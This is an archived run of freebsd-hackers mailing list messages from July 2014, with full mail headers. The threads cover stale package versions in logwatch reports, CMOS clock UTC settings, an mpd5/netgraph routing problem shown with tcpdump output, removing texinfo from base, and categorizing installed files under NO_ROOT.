([127.0.0.1]) by localhost (mail.digital-infotech.net [127.0.0.1]) (maiad, port 10024) with ESMTP id 02405-03 for ; Fri, 11 Jul 2014 08:32:31 +0000 (GMT) Received: from mail.digital-infotech.net (localhost [127.0.0.1]) by mail.digital-infotech.net (Postfix) with ESMTP id 390662E4109 for ; Fri, 11 Jul 2014 08:32:31 +0000 (GMT) X-DKIM: OpenDKIM Filter v2.5.0 mail.digital-infotech.net 390662E4109 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=digital-infotech.net; s=digital; t=1405067551; bh=WE7Zm4Oe6tbuenVpqrIOyL/CfJp+DfLN2j3CnaFOOAc=; h=Date:Subject:From:To:Reply-To; b=rnv1XHXn69cFovqPqrLnQO6d0tVHvXsQ8nQeyYn3tEDscjEC/VDnmL/IWf3i3Lias s5IBuCMig7IH2t5F/CVjOTNne9Sav3DPPawsGjfsXCi/DTUpzzVGG4VkOi208AvtGn HKBub/2x+vbF0BmzofQQdeqeOaQWBSZewdlqwMw8= Received: from 41.211.28.7 (SquirrelMail authenticated user prabhpal@digital-infotech.net) by mail.digital-infotech.net with HTTP; Fri, 11 Jul 2014 08:32:31 -0000 Message-ID: Date: Fri, 11 Jul 2014 08:32:31 -0000 Subject: Wrong Information From Log Watch Daemon - FreeBSD 9.2 x64 From: "Prabhpal S. Mavi" To: freebsd-hackers@freebsd.org Reply-To: prabhpal@digital-infotech.net User-Agent: SquirrelMail/1.4.22 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Jul 2014 08:39:37 -0000 Dear List Members i did upgrade FreeBSD System From 9.0 T0 9.2 Due to some requirments. After that i upgraded some packages such as, Apache, MySQL etc.. Problem Statement: I still receive old package version info from Log Watch, mail that comes from (Charlie Root) every morning. How can i fix this behavior ? Kindly advice... New Version For Upgraded Packages: [root@titan /home/mavi]# apachectl -v Server version: Apache/2.2.27 (FreeBSD) Server built: Jul 9 2014 10:05:55 [root@titan /home/mavi]# mysql -uroot -p Server version: 5.6.19 Source distribution Package Info From Log Watch Mail: Checking for packages with security vulnerabilities: apache-2.2.21 < Previous Version mysql-server-5.1.60 < Previous Version automake-1.11.1 ca_root_nss-3.12.11_1 clamav-0.97.3_1 curl-7.21.3_2 Thanks / Regards From owner-freebsd-hackers@FreeBSD.ORG Sat Jul 12 13:12:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 971B39DE for ; Sat, 12 Jul 2014 13:12:12 +0000 (UTC) Received: from smtp.infracaninophile.co.uk (smtp6.infracaninophile.co.uk [IPv6:2001:8b0:151:1:3cd3:cd67:fafa:3d78]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "smtp.infracaninophile.co.uk", Issuer "ca.infracaninophile.co.uk" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 3C7BA21BA for ; Sat, 12 Jul 2014 13:12:11 +0000 (UTC) Received: from seedling.black-earth.co.uk (seedling.black-earth.co.uk [81.2.117.99]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.9/8.14.9) with ESMTP id s6CDC6Ze081221 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Sat, 12 Jul 2014 14:12:06 +0100 (BST) (envelope-from m.seaman@infracaninophile.co.uk) Authentication-Results: lucid-nonsense.infracaninophile.co.uk; dmarc=none header.from=infracaninophile.co.uk DKIM-Filter: OpenDKIM Filter v2.9.2 smtp.infracaninophile.co.uk s6CDC6Ze081221 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=infracaninophile.co.uk; s=201001-infracaninophile; t=1405170726; bh=tvoFAXwdr9xWCPzqDu2PNT+82uOVXgqmOJ6mWdw8g2E=; h=Date:From:To:Subject:References:In-Reply-To; z=Date:=20Sat,=2012=20Jul=202014=2014:11:57=20+0100|From:=20Matthew =20Seaman=20|To:=20freebsd-hacker s@freebsd.org|Subject:=20Re:=20FreeBSD/Solaris=20dual-boot,=20prob lems=20with=20time=20(ntpd)|References:=20=20<06FFA5E9-EAE1-4085 -960A-4B06F313E961@ccsys.com>|In-Reply-To:=20<06FFA5E9-EAE1-4085-9 60A-4B06F313E961@ccsys.com>; b=AWHHOr7HpxwoY21Wya2F1PHxYDv9P9geqKxow0zgT0+IoMxL3jw9LPR0FxTZJJjK7 9nNhFIxA/iLGnWgMRUrhtPiVD6X2oNK36u2fPM7SFL3gEVy0Kd+ttdtE/UlsJxuSrs ImkIGuk/Uf3wXYNwkmze3Na01Cw4iv2bAAgoMJVs= Message-ID: <53C1341D.3000704@infracaninophile.co.uk> Date: Sat, 12 Jul 2014 14:11:57 +0100 From: Matthew Seaman User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: FreeBSD/Solaris dual-boot, problems with time (ntpd) References: <06FFA5E9-EAE1-4085-960A-4B06F313E961@ccsys.com> In-Reply-To: <06FFA5E9-EAE1-4085-960A-4B06F313E961@ccsys.com> X-Enigmail-Version: 1.6 OpenPGP: id=E1ECF9BB Content-Type: multipart/signed; micalg=pgp-sha512; protocol="application/pgp-signature"; boundary="wFwOE7evs5cTneASMqaCm0DtRcuw6v1Qj" X-Virus-Scanned: clamav-milter 0.98.3 at lucid-nonsense.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-2.6 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00, DKIM_SIGNED,DKIM_VALID,DKIM_VALID_AU autolearn=ham autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on lucid-nonsense.infracaninophile.co.uk X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Jul 2014 13:12:12 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --wFwOE7evs5cTneASMqaCm0DtRcuw6v1Qj Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 10/07/2014 05:07, Chad J. Milios wrote: > Each OS has a way to let it know if that is or is not the case. In > FreeBSD, if any file exists at /etc/wall_cmos_clock then the kernel > treats the CMOS clock as the local time. If that file does not exist > then the default is that the CMOS clock represents universal > coordinated time (aka UTC). I don't use Solaris enough to tell you > its equivalent procedure from memory but it has the same toggle in > there somewhere. >=20 > (My knowledge of this is decades old. Can someone else confirm this > is still the canonical way to set this preference in FreeBSD?) Yes, this is still the case. The /etc/wall_cmos_clock mechanism hasn't changed in ages, although sometime around 9.0-RELEASE (I think) the installer changed to assume CMOS Clock running in UTC rather than wallclock time if you just accepted the default answers. Cheers, Matthew --=20 Dr Matthew J Seaman MA, D.Phil. PGP: http://www.infracaninophile.co.uk/pgpkey JID: matthew@infracaninophile.co.uk --wFwOE7evs5cTneASMqaCm0DtRcuw6v1Qj Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.20 (Darwin) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQJ8BAEBCgBmBQJTwTQlXxSAAAAAAC4AKGlzc3Vlci1mcHJAbm90YXRpb25zLm9w ZW5wZ3AuZmlmdGhob3JzZW1hbi5uZXQ2NTNBNjhCOTEzQTRFNkNGM0UxRTEzMjZC QjIzQUY1MThFMUE0MDEzAAoJELsjr1GOGkATpuMP/2ucVfbanVKUN15SD1znGcaB jW0sSSQD7w6iVJkw+uXZphQUeDeF9mBkx25uUWKu/OPP2RwSsch7jty+qxBSRyog 8MlIC1diKWEnHppSDF28C3HsZha230Yd7XlRy/el3zY92OheAishur3MW9I7MQU1 9hn0Ep/Bkk7a1gy/lHNJSPMrWn0eIBwRkIwlsOMftudLkupgdB+Yqp/FwCFcXZkm 5yXil4ffZXSp1hgkVbybiJrWzk0Dqvlu5ZNLV2IPEMnU6bjCQoBnJKJe3IdD6NNh 7eif5WzaaiXhuStq148RaUZwmE5+tz9iYMigUoYOT+M4pYUPYXqAWpFIdAdzSwmu d6ASAbQpb1eJ2l1fVSBigoLDBvfZSeXuoH4HXVICrMsmz5H6dduiMoUerXSjoWlk 9pO9JhRwpmpx8ektDDscLjlYHRLJcLeUU12KHf0a+EFNZc+KiMCBTY2iz1y0DrtY Bsqb4NelznUwJhGs45oclwarGMsjDepboVnpxG6XbNkmC+hXICPYhqpWGqRHNX8b hUfF1nyvp2/CGcRknUu9lnwfVChUsBMNsjbcYvaOwmM9HkHNyWwGAw4dHmOBRIlY I0xoJtGev8il+nIhjv6Xu7tq6Di6YTSg1roYqepEEFfIVvte11TX5QY7m/mzZlsS 6dBkCsig/GiHnPlyIp4k =63gw -----END PGP SIGNATURE----- --wFwOE7evs5cTneASMqaCm0DtRcuw6v1Qj-- From owner-freebsd-hackers@FreeBSD.ORG Sat Jul 12 22:48:56 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 93BC982D; Sat, 12 Jul 2014 22:48:56 +0000 (UTC) Received: from mail-vc0-x22b.google.com (mail-vc0-x22b.google.com [IPv6:2607:f8b0:400c:c03::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 41FCA2B30; Sat, 12 Jul 2014 22:48:56 +0000 (UTC) Received: by mail-vc0-f171.google.com with SMTP id id10so4791146vcb.30 for ; Sat, 12 Jul 2014 15:48:55 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=ubFymp2Oh0irJm3Wno878g2gTg8Gj80Q0lAXNkXG3HU=; b=mZQHP9Ie33Ux5RxjPPKGF671+rRVV1vME1exIvRvQYiUHm16O0ptuEsDsFqJlEAqj4 9jXyoHcghaXCwqQXZBjMeaUV1+1F7KZ7FehRTQH+bBRoGDg79l30gEpq1yCVgdN9Ry6N x2tXLPpJYKumoZx8pnm8yO4WS9sxTjaf0AsCZHieMSqmxIMHQU5qnTxdhqkC88fwV7EG Tn+b8X54K/gTGxv+KGhEca37+/1HsxJGLN+MWN/k/uZTEY+0QQ/cG913JqYmUrakz0CV tBOfgvCnxH3nZqmanB4QArxuLRSf+gmeoxNb0HsqnpgatesADPKMPAVvYWwW75reax9A bSHA== MIME-Version: 1.0 X-Received: by 10.220.251.134 with SMTP id ms6mr7561772vcb.10.1405205335150; Sat, 12 Jul 2014 15:48:55 -0700 (PDT) Received: by 10.220.249.132 with HTTP; Sat, 12 Jul 2014 15:48:55 -0700 (PDT) Date: Sat, 12 Jul 2014 18:48:55 -0400 Message-ID: Subject: ngX connected hosts not receiving replies from non-kernel IP services. From: Zaphod Beeblebrox To: FreeBSD Hackers , FreeBSD Net Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Jul 2014 22:48:56 -0000 I have a network of computers at home. The gateway/firewall is FreeBSD 9.2 running mpd5. The host requesting the service is FreeBSD 9.2. The misbehaving host is FreeBSD 10.0p6 running mpd5. So the details: ssh is listening (output of netstat -an) tcp4 0 0 *.22 *.* LISTEN tcp6 0 0 *.22 *.* LISTEN named is listening (installed from bind99 port) tcp4 0 0 xx.yy.30.99.53 *.* LISTEN udp4 0 0 xx.yy.30.99.53 *.* mpd 5 on the server is up: [2:35:335]root@owl:~> ifconfig ng29 ng29: flags=88d1 metric 0 mtu 1436 inet xx.yy.31.6 --> xx.yy.16.50 netmask 0xffffffff inet6 fe80::219:b9ff:fef9:b9e7%ng29 prefixlen 64 scopeid 0x23 nd6 options=21 ping works: [1:71:137]root@virtual:/vr2/backup/nozfs/ox/local-etc> ping xx.yy.16.3 PING xx.yy.16.3 (xx.yy.16.3): 56 data bytes 64 bytes from xx.yy.16.3: icmp_seq=0 ttl=63 time=7.439 ms 64 bytes from xx.yy.16.3: icmp_seq=1 ttl=63 time=6.756 ms now tcpdumping from the FreeBSD 10.0p6 server host while I ssh: [2:29:329]root@owl:~> tcpdump -nvi ng29 host xx.yy.16.3 tcpdump: listening on ng29, link-type NULL (BSD loopback), capture size 65535 bytes capability mode sandbox enabled 18:14:36.276578 IP (tos 0x0, ttl 63, id 3249, offset 0, flags [none], proto TCP (6), length 60) xx.yy.20.52.39218 > xx.yy.16.3.22: Flags [S], cksum 0x4aa1 (correct), seq 3433340283, win 65535, options [mss 1396,nop,wscale 6,sackOK,TS val 435369805 ecr 0], length 0 18:14:39.290104 IP (tos 0x0, ttl 63, id 4999, offset 0, flags [none], proto TCP (6), length 60) xx.yy.20.52.39218 > xx.yy.16.3.22: Flags [S], cksum 0x3ee9 (correct), seq 3433340283, win 65535, options [mss 1396,nop,wscale 6,sackOK,TS val 435372805 ecr 0], length 0 18:14:42.502893 IP (tos 0x0, ttl 63, id 6832, offset 0, flags [none], proto TCP (6), length 60) xx.yy.20.52.39218 > xx.yy.16.3.22: Flags [S], cksum 0x3269 (correct), seq 3433340283, win 65535, options [mss 1396,nop,wscale 6,sackOK,TS val 435376005 ecr 0], length 0 Similarly tcpdumping from the server while running "dig google.ca @xx.yy.30.99" [2:37:337]root@owl:~> tcpdump -nvi ng29 host xx.yy.30.99 tcpdump: listening on ng29, link-type NULL (BSD loopback), capture size 65535 bytes capability mode sandbox enabled 18:36:02.841942 IP (tos 0x0, ttl 63, id 30407, offset 0, flags [none], proto UDP (17), length 66) xx.yy.20.52.27400 > xx.yy.30.99.53: 40608+ [1au] A? google.ca. (38) 18:36:07.838721 IP (tos 0x0, ttl 63, id 33612, offset 0, flags [none], proto UDP (17), length 66) xx.yy.20.52.27400 > xx.yy.30.99.53: 40608+ [1au] A? google.ca. (38) Frustratingly, ssh and bind work just fine from hosts that are on the lan with the server. It's like some portion of the packet routing machinery is broken with ngX. Before y'all ask, too, ip.forwarding is 1. The ng-connected hosts can use the rest of the internet ... just not non-kernel services on the host that breaks up their l2tp. From owner-freebsd-hackers@FreeBSD.ORG Sun Jul 13 23:39:40 2014 Return-Path: Delivered-To: hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1AC29B8C; Sun, 13 Jul 2014 23:39:40 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id DE07523BF; Sun, 13 Jul 2014 23:39:39 +0000 (UTC) Received: from jre-mbp.elischer.org (ppp121-45-250-191.lns20.per2.internode.on.net [121.45.250.191]) (authenticated bits=0) by vps1.elischer.org (8.14.9/8.14.9) with ESMTP id s6DNdWOK070492 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Sun, 13 Jul 2014 16:39:35 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <53C318AE.7080108@freebsd.org> Date: Mon, 14 Jul 2014 07:39:26 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Baptiste Daroussin , "John D. Hendrickson and Sara Darnell" Subject: Re: [CFR] Remove texinfo from base References: <20140625103107.GB23976@ivaldir.etoilebsd.net> <20140625104540.GE86779@over-yonder.net> <20140625105209.GC23976@ivaldir.etoilebsd.net> <20140625110049.GF86779@over-yonder.net> <40EA1066-4776-4B2E-988A-9900BB842862@bsdimp.com> <20140625154758.GD23976@ivaldir.etoilebsd.net> <53BF28D1.8010604@cox.net> <20140711000856.GH93051@ivaldir.etoilebsd.net> In-Reply-To: <20140711000856.GH93051@ivaldir.etoilebsd.net> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Cc: hackers@FreeBSD.org, "Matthew D. Fuller" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 13 Jul 2014 23:39:40 -0000 On 7/11/14, 8:08 AM, Baptiste Daroussin wrote: > On Thu, Jul 10, 2014 at 07:59:13PM -0400, John D. Hendrickson and Sara Darnell wrote: >> Warner Losh wrote: >> If you want to read info pages just install texinfo from ports or >> add WITH_INFO in your src.conf. doesn't sound like much of a win to me.. > > regards, > Bapt From owner-freebsd-hackers@FreeBSD.ORG Mon Jul 14 00:41:50 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3620FAC7; Mon, 14 Jul 2014 00:41:50 +0000 (UTC) Received: from mail-wg0-x22f.google.com (mail-wg0-x22f.google.com [IPv6:2a00:1450:400c:c00::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 97BC928AF; Mon, 14 Jul 2014 00:41:49 +0000 (UTC) Received: by mail-wg0-f47.google.com with SMTP id b13so1277586wgh.30 for ; Sun, 13 Jul 2014 17:41:47 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=5aDCa0lU+i5ZdOm3tpVb5KLfKQrC10BWZXO0xtLk8YY=; b=lzn6kv1zAxvtV3XU3X3kBGStUoyv8JHfH3/+ZCTnFDrkUxNaTMQVHjLoIzi4TtIKtf GmnZht1x0zLYYUO2nKhwTYKdXYMF1uXwOlA9mG4eCIL2y0cRGqB+rvtrfYE4+opiq6Wn Umx5PQarmtkX+bmWntaKAxq2cX2uOqArsAgEOGwCgfKRGxJzQw7UcOPxZ7hPx84bw8O+ nqEU84Ubm2dzwHRAs6Ep2/BfU76L5F8q/P4f960O18Db65WNt0OEHKhlCfRecTM0536k km8is18vDlflzVMKSIjadVbWxkhf/dSZmABN5mhQ/Imr59gM6yK6xH0+U3s291GtjLSc k3lA== X-Received: by 10.181.8.233 with SMTP id dn9mr20776640wid.0.1405298507799; Sun, 13 Jul 2014 17:41:47 -0700 (PDT) Received: from ivaldir.etoilebsd.net ([2001:41d0:8:db4c::1]) by mx.google.com with ESMTPSA id q11sm24689610wib.14.2014.07.13.17.41.46 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Sun, 13 Jul 2014 17:41:46 -0700 (PDT) Sender: Baptiste Daroussin Date: Mon, 14 Jul 2014 02:41:44 +0200 From: Baptiste Daroussin To: Julian Elischer Subject: Re: [CFR] Remove texinfo from base Message-ID: <20140714004143.GR93051@ivaldir.etoilebsd.net> References: <20140625103107.GB23976@ivaldir.etoilebsd.net> <20140625104540.GE86779@over-yonder.net> <20140625105209.GC23976@ivaldir.etoilebsd.net> <20140625110049.GF86779@over-yonder.net> <40EA1066-4776-4B2E-988A-9900BB842862@bsdimp.com> <20140625154758.GD23976@ivaldir.etoilebsd.net> <53BF28D1.8010604@cox.net> <20140711000856.GH93051@ivaldir.etoilebsd.net> <53C318AE.7080108@freebsd.org> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Hnpg0BSo5EvPlUVi" Content-Disposition: inline In-Reply-To: <53C318AE.7080108@freebsd.org> User-Agent: Mutt/1.5.23 (2014-03-12) Cc: hackers@FreeBSD.org, "John D. Hendrickson and Sara Darnell" , "Matthew D. Fuller" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 14 Jul 2014 00:41:50 -0000 --Hnpg0BSo5EvPlUVi Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Jul 14, 2014 at 07:39:26AM +0800, Julian Elischer wrote: > On 7/11/14, 8:08 AM, Baptiste Daroussin wrote: > > On Thu, Jul 10, 2014 at 07:59:13PM -0400, John D. Hendrickson and Sara = Darnell wrote: > >> Warner Losh wrote: > >> If you want to read info pages just install texinfo from ports or=20 > >> add WITH_INFO in your src.conf. >=20 > doesn't sound like much of a win to me.. if you have a better way to fix incompatibilities between texinfo from bas= e and the new version that is expected by more and more ports, I m open to suggestion. regards, Bapt --Hnpg0BSo5EvPlUVi Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iEYEARECAAYFAlPDJ0cACgkQ8kTtMUmk6Ew5lgCffhu4O6171rq3lpuD2+FFKar/ ov8An0Et3xq6HpQo/VbULqC5wvV20sJs =6r2g -----END PGP SIGNATURE----- --Hnpg0BSo5EvPlUVi-- From owner-freebsd-hackers@FreeBSD.ORG Tue Jul 15 21:10:26 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7A45625A for ; Tue, 15 Jul 2014 21:10:26 +0000 (UTC) Received: from mail.iXsystems.com (newknight.ixsystems.com [206.40.55.70]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5C0132507 for ; Tue, 15 Jul 2014 21:10:25 +0000 (UTC) Received: from localhost (mail.ixsystems.com [10.2.55.1]) by mail.iXsystems.com (Postfix) with ESMTP id 4037A7B9EF for ; Tue, 15 Jul 2014 14:10:25 -0700 (PDT) Received: from mail.iXsystems.com ([10.2.55.1]) by localhost (mail.ixsystems.com [10.2.55.1]) (maiad, port 10024) with ESMTP id 42751-08 for ; Tue, 15 Jul 2014 14:10:25 -0700 (PDT) Received: from kruse-177.4.ixsystems.com (kruse-177.4.ixsystems.com [10.2.4.177]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mail.iXsystems.com (Postfix) with ESMTPSA id A33647B9EA for ; Tue, 15 Jul 2014 14:10:24 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=ixsystems.com; s=newknight0; t=1405458624; bh=vh3pxUINrsTdFdCLGt2UF0+8L/LGzcLGsek5ontAZeE=; h=From:Subject:Date:To; b=dLqFdbvM5XuOjoZ1QCUhkZ0xXb8cnZGb/ceV2g6vMk+spQpVYDnd6AO+VaTCISNsE j64LVPKqEUhVwK0plnJ4jkOY9pjuVCk1o+jWDXpRxMdQz+n5Wvtzo8n+j19zeXUkri vCxN/N+shGG3SLMuPMm3stXzUtlOpbhrORejK/wQ= From: Sean Fagan Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Subject: Re: Expanding on NO_ROOT: Categorizing installed files Message-Id: Date: Tue, 15 Jul 2014 14:10:24 -0700 To: hackers@freebsd.org Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.6\)) X-Mailer: Apple Mail (2.1878.6) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 15 Jul 2014 21:10:26 -0000 Based on feedback primarily from Brooke Davis, an update. The diffs are = at http://earth.kithrup.com/~sef/auto-diffs.txt -- due to the size, I = could not send them to the mailing list. This primarily eliminates the environment passing; the cost of that is a = lot more invasiveness. (About 100k larger diffs, thus being unable to = attach them.) I have not changed it from having a new "category=3D" to using "tag=3D"; = I looked at that, and don't think it's the best way to go, but am still = looking. I also want to go over it and ensure that NO_ROOT is a strict superset = of LOG_META_INFO -- that is, -DNO_ROOT should set -DLOG_META_INFO, and = thus most places where I check for either, I should only check for = LOG_META_INFO. I also want to make it completely clear the categories I have chosen are = simply because I was getting it to work :). They should be *much* more = precise than they are now. (E.g., all of the NLS files might go into =
:nls. One can make the argument that GPL, CDDL, etc., license = should be logged as well.) This is primarily an attempt to validate the = concept and direction. (If anyone wants to see the python script I have to create a pkgng-like = package out of it, let me know.) Sean. From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 16 17:08:00 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5D5297F7 for ; Wed, 16 Jul 2014 17:08:00 +0000 (UTC) Received: from spindle.one-eyed-alien.net (spindle.one-eyed-alien.net [199.48.129.229]) by mx1.freebsd.org (Postfix) with ESMTP id 3947D2CC4 for ; Wed, 16 Jul 2014 17:08:00 +0000 (UTC) Received: by spindle.one-eyed-alien.net (Postfix, from userid 3001) id 00CDD5A9F0C; Wed, 16 Jul 2014 17:07:58 +0000 (UTC) Date: Wed, 16 Jul 2014 17:07:58 +0000 From: Brooks Davis To: Sean Fagan Subject: Re: Expanding on NO_ROOT: Categorizing installed files Message-ID: <20140716170758.GE60425@spindle.one-eyed-alien.net> References: MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="CdrF4e02JqNVZeln" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Jul 2014 17:08:00 -0000 --CdrF4e02JqNVZeln Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Jul 15, 2014 at 02:10:24PM -0700, Sean Fagan wrote: > Based on feedback primarily from Brooke Davis, an update. The diffs are = at http://earth.kithrup.com/~sef/auto-diffs.txt -- due to the size, I could= not send them to the mailing list. >=20 > This primarily eliminates the environment passing; the cost of that is a = lot more invasiveness. (About 100k larger diffs, thus being unable to atta= ch them.) The vast majorify of the diff is make debugging garbage that looks like it was committed by accident. I won't provided any detailed review of the current patch except to say that there are a lot of apparently redundent instances of setting META_CATEGORY in Makefiles and still quite a lot of instances of .EXPORTVAR: META_CATEGORY. > I have not changed it from having a new "category=3D" to using "tag=3D"; = I looked at that, and don't think it's the best way to go, but am still loo= king. Given that the current use of tags=3D is basically unconsumed, I still don't understand why. > I also want to go over it and ensure that NO_ROOT is a strict superset of= LOG_META_INFO -- that is, -DNO_ROOT should set -DLOG_META_INFO, and thus m= ost places where I check for either, I should only check for LOG_META_INFO. That seems like a good direction. -- Brooks --CdrF4e02JqNVZeln Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iEYEARECAAYFAlPGsW4ACgkQXY6L6fI4GtTqXgCeMaBlQCEWKN14WytR/S4NiqhO kRsAniK9Qj9UQCzphBV/qdggIk7i3i/k =+NRR -----END PGP SIGNATURE----- --CdrF4e02JqNVZeln-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 16 17:46:47 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D658A7F0; Wed, 16 Jul 2014 17:46:47 +0000 (UTC) Received: from mail.iXsystems.com (newknight.ixsystems.com [206.40.55.70]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id A8A2920C2; Wed, 16 Jul 2014 17:46:46 +0000 (UTC) Received: from localhost (mail.ixsystems.com [10.2.55.1]) by mail.iXsystems.com (Postfix) with ESMTP id D6AC77A568; Wed, 16 